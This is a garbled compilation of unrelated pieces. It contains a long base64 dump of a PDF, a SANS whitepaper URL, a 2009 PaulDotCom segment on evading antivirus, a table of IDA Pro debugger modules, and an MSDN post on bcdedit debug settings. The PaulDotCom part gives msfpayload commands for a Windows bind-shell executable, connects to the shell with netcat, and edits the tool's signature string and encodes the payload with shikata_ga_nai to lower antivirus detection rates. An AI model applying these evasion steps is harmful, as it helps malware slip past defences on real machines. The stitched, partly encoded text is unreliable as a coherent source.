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
pMyue6T8mrWRIbwcU4uhnFrsKieGFAaY+vlyihzbq2BzULOGzeHNHWHjmrRxD9IaNZTWqD1Ia3LEuIbNseMdYcOatGEP0lo5lNbKPUiL17EBrFF7gPVr0vo9
SOvEUFon9iCt02IIq+ULYPUA1q1J614i7RA2rkkb9yCtp+9x9SWkX0LsBmuH0nq7D2nD0MB8eImBDWCDHG5ZkHvYsmCG0gazD2n9mrR+D9JGMdyyKPawZVEP
pcXfsD0f1qw4kUKq4TTDz3D6XdwT51kA0H2ap5oxA/42GS8ueH7Sokc8/IFcyunxUtIjHv46LuX0uKno8U/TQ5jW5Wc6z5pb09ukprc6k11kjEvknN4GLT2Y
4S/oUk5vkZbe6lx+Rn7u9I6eSh09Jfrs2nFPT7OenigDPdwFQ3/Tk2goT4YqPjT9ltnxB3nbR2lJ3crbYyxvj7G8PWbDwd8GNKfTcfu9HcM96Nvkqj17d4yR
F5437XJbc8zaxPaTEwz1jBE0LfHyvwRROVYKZW5kc3RyZWFtCmVuZG9iagoxMDk4IDAgb2JqCjI1NTIKZW5kb2JqCjEwOTkgMCBvYmoKPDwvRmlsdGVyL0Zs
YXRlRGVjb2RlL1R5cGUvWFJlZi9XWzEgMyAyXS9TaXplIDExMDAvUm9vdCAxMDk2IDAgUi9JbmZvIDEwODUgMCBSL0lEWzw5NTk1RTJENjBEMEZGNkU3QkJG
MjU3MEYwOTQ1NzgwOT48OTU5NUUyRDYwRDBGRjZFN0JCRjI1NzBGMDk0NTc4MDk+XS9EZWNvZGVQYXJtczw8L0NvbHVtbnMgNi9QcmVkaWN0b3IgMTI+Pi9M
ZW5ndGggMzcyOSAgICAgID4+CnN0cmVhbQp4nO3ZeVyU1RoH8PPOwMAszMYyoKFk7oqaplReMs02pdTUSNOyFA1FIxXLrdtVtNJcUtSM9Ka5RGlpopWZS15T
yw1xz8xdhmWYYVYG4b3P74wzvDLNn937x738837O4bzLc57ved5lZIz+RFEmY/I8oasMLXZFJrJpxayMWrUqxmgzdzXfRJ7jGxbDNyn9aSOwfUeYQC35TKbF
DrOZw3cUma/zATrY5GnsILUOPefb7yO+Ccvgu8/dySKwQy2rlomy7KfQWbf4O35MJmeiTIzfUYLOkj7x/Jh3Ds03Ips5knnpKLM/Zk18naJvU+Pb1DXYiCz3
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
ZWYKMTYyNzg5NwolJUVPRgo=  application/pdf https://www.sans.org/reading-
room/whitepapers/leadership/safe-harbor-collecting-storing-european-personal-
information-
us-37750\#\_\_utma=56421037.1499678985.1484257238.1495463919.1495621500.90&\_\_utmb=56421037.7.9.1495624150456&\_\_utmc=56421037&\_\_utmx=-&\_\_utmz=56421037.1495621500.90.25.utmcsr=google|utmccn=\(organic\)|utmcmd=organic|utmctr=\(not%20provided\)&\_\_utmv=-&\_\_utmk=15560370
safe-harbor-collecting-storing-european-personal-information-
us-37750\#\_\_utma=56421037.1499678985.1484257238.1495463919.1495621500.90&\_\_utmb=56421037.7.9.1495624150456&\_\_utmc=56421037&\_\_utmx=-&\_\_utmz=56421037.1495621500.90.25.utmcsr=google|utmccn=\(organic\)|utmcmd=organic|utmctr=\(not
provided\)&\_\_utmv=-&\_\_utmk=15560370.pdf

# Episode125 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:27:34 PM_  
---|---  
**Updated:**| _8/5/2009 12:27:59 PM_  
**Author:**| __  
**Tags:**| _security tools pauldotcom Metasploit Malware-analysis Tutorials_  
  

# Tech Segment: Bypassing Anti-Virus Software The Script-Kiddie Way

## Pass \#1 - Metasploit 3.1-release Payload - Unmodified

[code]

    msfpayload windows/shell_bind_tcp LPORT=6453 X > payload.exe
    
[/code]

The above command produces a windows binary that listens on TCP port 6453 for
a remote shell. You can access the remote shell using netcat as follows:

[code]

    funnyhostname:~ pdc$ ncat 192.168.169.40 6453
    Microsoft Windows XP [Version 5.1.2600]
    (C) Copyright 1985-2001 Microsoft Corp.
    
    C:\Documents and Settings\Administrator\Desktop>
    
    
[/code]

The payload generated above when uploaded to Virus Total only gets detected by
7 out of 36 anti-virus engines. If we look at the payload with our super 1337
reverse engineering tool \(the "strings" command\), we can see that we are
giving ourselves away:

"Reverse Engineering The Payload"

[code]

    bash-3.2# strings payload.exe 
    !This program cannot be run in DOS mode.
    .text
    .rdata
    @.data
    .bss
    .idata
    Created by msfpayload (http://www.metasploit.com).
    Payload: windows/shell_bind_tcp
     Length: 317
    Options: LPORT=6453
    
    
[/code]

## Pass \#2 - Metasploit Payload - Changed Version String

Editing msfpayload to change the version string:

[code]

     
    if (cmd =~ /^x/)
                    note =
                            "PaulDotCom's Evil Payload\n" +
                            "Payload: " + payload.refname + "\n" +
                            " Length: " + buf.length.to_s + "\n" +
                            "Options: " + options + "\n"
    
    
[/code]

The payload generated above when uploaded to Virus Total only gets detected by
6 out of 36 anti-virus engines. \(Panda anti-virus relied on the Metasploit
payload string in the binary\).

## Pass \#3 - Metasploit \(svn version as of 9-28-08\) Payload Encoded With
Shikata Ga Nai

[code]

    msfencode x86/shikata_ga_nai -i svn-payload.exe -t exe > svn-encode-payload.exe
    
[/code]

The payload generated above when uploaded to Virus Total only gets detected by
4 out of 36 anti-virus engines. However, it does not function in my testing,
but does show how we can evade anti-virus systems.

# Tech Segment: Simcard Forensics, an adventure in information gathering

Here's a link to the FLASH \(swf\) presentation so you can follow along.

# Hex-Rays : Interactive Disassembler Pro - Debuggers

**Created:**| _5/9/2009 12:42:40 PM_  
---|---  
**Updated:**| _5/9/2009 12:42:53 PM_  
**Author:**| __  
**Tags:**| _iDA reversing_  
  

## IDA Pro Debugger Modules

In additional to being a disassembler, IDA Pro is also a powerful and
versatile debugger. It supports multiple debugging targets and can handle
remote applications. The following table shows in detail the existing debugger
modules and their capabilities.  
---  
| Name | Description | Remote servers | 64-bit supp | Tutorials/Primers | Notes   
---|---|---|---|---|---  
<img src='img/Temp2_3841.gif' />  
**WIN32**|  Debugger for user mode MS Window PE applications | idag - **win32\_remote.exe**  
idag64 32bit apps - **win32\_remote64.exe**  
idag64 64bit apps - **win64\_remote64x.exe**  
| **Yes**| PDF <img src='img/Temp2_3836.gif' />| For 64-bit debugging use
**win64\_remotex64.exe**  
* * *  
<img src='img/Temp2_3837.gif' />  
**LINUX**|  Debugger for user mode Linux applications | idal: **linux\_server**  
idal64: **linux\_server64**  
| No | HTML| Debugger server can handle one debuggee at a time   
* * *  
<img src='img/Temp2_3843.gif' />  
**MAC**|  Debugger for user mode Intel Mac OS X applications | idal: **mac\_server**  
idal64: **mac\_server64**  
| No | HTML| IDA Pro on Linux can not debug Mac OS X applications. Console applications that use the terminal should be debugged with remote server because locally idal will interfere with them.  
See help page  
* * *  
<img src='img/Temp2_3840.gif' />  
**WINCE**|  Debugger for user mode MS Windows CE applications | None; an ActiveSync connection is enough | No | HTML| MS Windows CE 4.x and 5.x on ARM are supported. Higher versions may work but we have not tested them. Only MS Windows versions of IDA can debug WinCE targets.  
See help page  
* * *  
<img src='img/Temp2_3842.gif' />  
**EPOC**|  Debugger for user mode Symbian OS applications | None; MetroTRK server on the device is used | No | PDF <img src='img/Temp2_3836.gif' />| Only MS Windows versions of IDA can debug Symbian targets.  
See help page  
* * *  
<img src='img/Temp2_3844.gif' />  
**IPHONE**|  Debugger for user mode iPhone/iTouch v1.x applications | **iphone\_server**|  No | \- | iPhone/iTouch v2.x are not supported yet.  
See help page  
* * *  
<img src='img/Temp2_3839.gif' />  
**BOCHS**|  Debugger based on Bochs emulator | None; only local debugging is available | No | PDF <img src='img/Temp2_3836.gif' />| Bochs debugger is available only on MS Windows.  
See help page  
* * *  
<img src='img/Temp2_3838.gif' />  
**GDB**|  Debugger based on GDBServer | **gdbserver**|  No | QEMU <img src='img/Temp2_3836.gif' /> VMWare/Linux VMWare/Windows | Only x86 and ARM processors are currently supported.  
See help page  
* * *  
<img src='img/Temp2_3835.gif' />  
**WINDBG**|  Debugger based on Microsoft's Debugger Engine | None | **Yes**| PDF <img src='img/Temp2_3836.gif' />| Only IDA Pro running on MS Windows is supported. Both user-mode and **kernel-mode** debugging are available. 64-bit debugging is supported too.  
See help page  
* * *  
<img src='img/Temp2_3834.gif' /> Notes

  * Currently IDA Pro can debug 64-bit applications only on MS Windows. For other targets only 32-bit debugging is available.
  * Remote debugging tutorial is available here <img src='img/Temp2_3836.gif' />
  * All debuggers are scriptable. For more information, check out this page

# Bcdedit Tips and Tricks For Debugging Part 1 - Ntdebugging Blog - Site Home
- MSDN Blogs

**Created:**| _9/23/2011 11:44:39 AM_  
---|---  
**Updated:**| _9/23/2011 11:44:39 AM_  
**Author:**| __  
**Tags:**| _Debugging windows kernel_  
  

### Bcdedit Tips and Tricks For Debugging Part 1

ntdebug

21 Sep 2011 4:39 PM

  * 0

Hello everyone, my name is Sean Walker, and I am on the Platforms OEM team in
Washington.  This article is for those people who have had a hard time
switching from the old boot.ini configuration to the new BCD store \(myself
included\). Doing the simple tasks such as enabling kernel debugging over com1
are easy to do with bcdedit.exe or the msconfig GUI, you just enable them and
reboot the computer. However, if you need to do something more advanced such
as break into the early boot process during resume from hibernation, things
get a more complicated.

This article has some samples for enabling and disabling debug settings that
you may not be familiar with, and a list of bcdedit debug settings for Windows
Vista/Server 2008 and Windows 7/Server 2008 R2.  This information has been
helpful to me for quickly and accurately getting to the debug at hand rather
than fumbling around with bcdedit.  Much of the following information has been
taken from various sources, including the windbg help files, the OEM team
blog, the MSDN bcdedit reference, and the WHDC debugger site.

**NOTE:** For the examples below, you will need to run bcdedit.exe from an
administrator \(UAC-elevated\) command prompt.  To output a summary view of
the current state of the BCD store, just run "bcdedit.exe" from the command
prompt.  To get detailed information about all of the store\(s\) that Windows
knows about, use the following command:

bcdedit /enum all

**What is a BCD store?**

A BCD store is a binary file that contains boot configuration data for
Windows, basically it is a small registry file.  Boot applications use the
system BCD store, located on the system partition, during the boot process.
You can also create additional BCD stores in separate files but only one store
at a time can be designated as the system store.

**NOTE:** The "/store" switch can be used to specify a particular BCD store
for bcdedit commands \(instead of the default store\).  To enumerate all the
settings in another BCD store, in this case e:\bcd\_store\BCD, use the
following command:

bcdedit /store e:\bcd\_store\BCD /enum all

This will show you which options are currently set, and what their values are.
When /store switch is omitted, the system store is used.

**Using bootdebug**

To enable debugging for early boot problems, you may need to enable the
bootdebug switch.  This is easy to do with bcdedit:

bcdedit /set bootdebug on

However, this only sets bootdebug for the current "boot application", which is
generally winload.exe, so it does not break into the very early boot process.
There are multiple applications used for booting, hibernating, and resuming
\(bootmgr.exe, winload.exe and winresume.exe are examples of these\).  Each
application \(called BCD Objects\) has its own settings \(called BCD
Elements\) in the BCD store and each can be modified globally and/or
individually.

So, to deal with different \(or multiple\) debug scenarios, you just enable
boot debugging based on the boot application you are concerned with.  For
early debugging, you can enable bootdebug for bootmgr:

bcdedit /set \{bootmgr\} bootdebug on

To set bootdebug for winload.exe \(which will most often be your current, and
default, boot object\) all three of the following will give you the same
result:

bcdedit /set bootdebug on

bcdedit /set \{current\} bootdebug on

bcdedit /set \{default\} bootdebug on

If you are modifying the settings in another store, or are booted into another
OS on the same computer \(such as WinPE\), you need to specify the location of
the BCD store:

bcdedit /store d:\Boot\BCD /set \{default\} bootdebug on

Not all of the boot objects have "friendly" names, so you may need to specify
the full GUID \(Globally Unique ID\) to modify it.  As an example, if you
wanted to enable bootdebug on resume from hibernation, you would include the
identifier \(see figure 1\) for the "Resume from Hibernate" object:

bcdedit /set \{89a932d0-d5bc-11e0-a0af-00215add5ebc\} bootdebug on

**<img src='http://blogs.msdn.com/cfs-file.ashx/__key/communityserver-blogs-
components-
weblogfiles/00-00-00-77-00-metablogapi/7028.image001_5F00_4C7C8453.png'
width='642' height='429' alt='image001' />**

Figure 1: Color coded bcdedit output

**Why won't my USB or 1394 debug work?**

When there are multiple debug ports of a certain type in a computer Windows
may not default to the correct one for your situation.  This happens most
commonly when there are either multiple 1394 host controllers or USB EHCI
controllers.  When this occurs it can range from a slight inconvenience
\(different port is used so the cable needs to be plugged into another port\),
to complete failure \(internal port is used, which is not accessible\).  In
the case of USB debugging the Intel USB 2.0 specification only provides one
debug port, so debugging is not possible if the wrong host controller is used.

There are several caveats with USB debugging, not the least of which is that
you need to buy a separate, expensive, debug cable.  Some of the difficulties
and implementation details necessary to get USB debugging to work are
encompassed in the WHDC USB FAQ and in Setting Up Kernel Debugging with USB
2.0.

**NOTE:** A correction to the WHDC USB documentation for Windows 7/Windows
2008 R2 is that the busparams switch now takes decimal rather than hexadecimal
values, and the "loadoptions" parameter is no longer required.  So, to enable
the busparams element \(for USB or 1394 debugging\) in Vista/2008, you would
use something like this:

bcdedit /set \{current\} loadoptions busparams=0.1D.7

And the Win7/2008 R2 example would be:

bcdedit /set \{current\} busparams 0.29.7

In the case of loadoptions or busparams, deleting the setting is not as easy
as changing a flag from yes to no. You must specifically delete the value to
get rid of it, and one of the examples below can be used:

For Vista/2008:

bcdedit /deletevalue \{current\} loadoptions

And Windows 7/2008 R2:

bcdedit /deletevalue \{current\} busparams

**Bcdedit settings and examples**

This is just scratching the surface of using bcdedit for your troubleshooting
and/or debugging needs, so there are more articles to follow. Part 2 will
include some more detailed debugging scenarios, such as Hyper-V guest and host
debugging.  Below is a consolidated table with many of the debugging
switches/settings as well as a number of different usage examples.

**Table of debug-related bcdedit settings**

Option  |  Description   
---|---  
**bootdebug** |  Enables or disables the boot debugger for a specified boot entry. Although this command works for any boot entry, it is effective only for boot applications. Enable value\(s\): **on, 1** Disable value\(s\): **off, 0** **Bcdedit /set bootdebug on**  
**debug** |  Enables or disables the kernel debugger for a specified boot entry. Enable value\(s\): **on, 1** Disable value\(s\): **off, 0**  
**/dbgsettings** |  Used to modify the global settings for the debug connection \(does not include hypervisor\). Values: Can change all settings at once instead of using the /set command to change them individually. Usage example: **bcdedit /dbgsettings 1394 channel:30**  
**debugport** |  Used to specify the debugger type. Values: Serial port – **com1, com2, comx** 1394 port – **1394** USB port - **USB**  
**channel** |  Specifies 1394 channel used. Values: Decimal integer between **0** and **62** , inclusive.  
**baudrate** |  Used to specify the baud rate of a serial debug port. Values: **9600, 19200, 38400, 57600, 115200**  
**targetname** |  Specifies a string to use as the identification for the USB 2.0 connection. This string can be any value. Usage example: **bcdedit /dbgsettings usb targetname:usbdebug**  
**/hypervisorsettings** |  Used the same way as /dbgsettings to configure all settings at once.  Usage example: **bcdedit /hypervisorsettings 1394 channel:10**  
**hypervisordebug** |  Enables or disables hypervisor debug mode. This is for debugging a Hyper-V host system. Enable value\(s\): **on, 1** Disable value\(s\): **off, 0** Usage example: **bcdedit /set \{current\} hypervisordebug on**  
**/noumex** |  Specifies that the kernel debugger ignores user-mode exceptions. By default, the kernel debugger breaks for certain user-mode exceptions, such as STATUS\_BREAKPOINT and STATUS\_SINGLE\_STEP. The **/noumex** parameter is effective only when there is no user-mode debugger attached to the process.  
**/start** |  This option specifies the debugger start policy. If a start policy is not specified, ACTIVE is the default. Values: **active, disable, autoenable**  
**loadoptions** |  Used to describe settings that are not covered by other types. One setting that is relevant here is busparams. Values: Any value followed by the setting.  Usage example \(Vista/2008\): **bcdedit /set \{current\} loadoptions busparams=0.1d.0**  
**busparams** |  A boot setting \(specified with **loadoptions** key word\) used to point to the PCI address of the debugger in use. The PCI bus, device, and function are used, in the format **bb.dd.ff**. This is generally used to identify the location of a 1394 or USB debug port. In Vista/2008, hexadecimal values are used, whereas decimal values are used for Win7. Values: Decimal values between 0 and 255. Usage example: In Win7 - **bcdedit /set busparams 0.29.0** In Vista - **bcdedit /set loadoptions busparams=0.1d.0**  
**kernel** |  The loadoptions parameter used to point to a different kernel binary. This can be used to test with a checked or instrumented version of the kernel without replacing the existing one. The updated binary MUST be placed in the %windir%\system32 folder to be used Values: The 8.3 filename of the replacement kernel include the exe extension. Usage examples:  In Win7 – **bcdedit /set kernel kernchk.exe** In Vista - **bcdedit /set loadoptions kernel=kernchk.exe**  
**hal** |  The loadoptions parameter used to point to a different hal binary. This can be used to test with a checked or instrumented version of the kernel without replacing the existing one. The updated binary MUST be placed in the %windir%\system32 folder to be used Values: the 8.3 filename of the replacement kernel include the .dll extension. Usage examples:  In Win7 – **bcdedit /set hal halchk.dll** In Vista - **bcdedit /set loadoptions hal=halchk.dll**  
